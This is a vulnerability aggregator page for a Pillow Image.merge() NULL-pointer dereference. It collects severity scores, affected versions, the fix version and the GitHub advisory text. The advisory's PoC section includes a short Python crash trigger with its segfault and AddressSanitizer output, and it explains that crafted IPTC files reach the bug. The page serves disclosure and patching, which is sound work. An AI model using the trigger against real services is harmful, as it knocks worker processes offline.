8.7high
Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.53% (higher than 46% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-cp9v-662q-vvx9BIT-PILLOW-2026-112405PYSEC-2026-4333
Description
Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| python-pillow Pillow | >= 12.0.0, < 13.0.0 | CVE List |
| pillow (PyPI) | from 12.0.0 before 13.0.0 | GitHub Advisory Database, PyPA Advisory Database |
| python pillow | from 12.0.0 before 13.0.0 | NVD |
| pillow (Bitnami) | from 12.0.0 before 13.0.0 | Bitnami Vulnerability Database |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Bitnami Vulnerability Database | high rating |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Pillow is a Python imaging library. From 12.0.0 until 13.0.0, Pillow's Image.merge() can dereference a null image8 plane. Validation skips the first input band, allowing a 32-bit integer or floating-point image backed by image32 storage to be merged as a narrower multiband image. A crafted IPTC file can reach this path when an application opens and loads it, or a caller can invoke Image.merge() directly with such a first band. This causes a native process crash. This issue is fixed in version 13.0.0.
GitHub Advisory Database
Summary
Image.merge() checks the mode of every input band except band 0. If band 0 is a single-band I or F image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain Image.open() followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.
Details
The validation loop skips band 0:
src/PIL/Image.py:3795iteratesfor band in bands[1:]and checks mode and size only for those.
For an I or F image the 8-bit plane image8 is NULL (only image32 is set). ImagingMerge dereferences bands[0]->image8[y] for the multi-band output modes:
src/libImaging/Bands.c:302,:311,:321
The IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:
src/PIL/IptcImagePlugin.py:156-160src/PIL/IptcImagePlugin.py:169registers the opener with no accept function.
PoC
from PIL import Image
# Band 0 is a single-band "I" image: its image8 plane is NULL. merge() validates only
# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.
band0 = Image.new("I", (4, 4))
Image.merge("RGB", [band0, Image.new("L", (4, 4)), Image.new("L", (4, 4))])
Run it:
$ python 02_poc.py
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96.
Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 ImagingMerge src/libImaging/Bands.c:311
#1 _merge src/_imaging.c:2492
SUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge
The null address confirms the dereference of the missing image8 plane for band 0.
Impact
NULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.
References
| https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9 | advisory, evidence, exploit, vendor-advisory, web | |
| https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86 | fix, patch, web | |
| https://github.com/python-pillow/Pillow/releases/tag/13.0.0 | advisory, article, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-112405 | advisory, web | |
| https://github.com/python-pillow/Pillow | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-112405 changed 2026-10-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-cp9v-662q-vvx9 changed 2026-10-28 | CC-BY-4.0 |
| NVD | CVE-2026-112405 changed 2026-10-27 | Public domain |
| PyPA Advisory Database | PYSEC-2026-4333 changed 2026-10-28 | CC-BY-4.0 |
| Bitnami Vulnerability Database | BIT-PILLOW-2026-112405 changed 2026-10-29 | Apache-2.0 |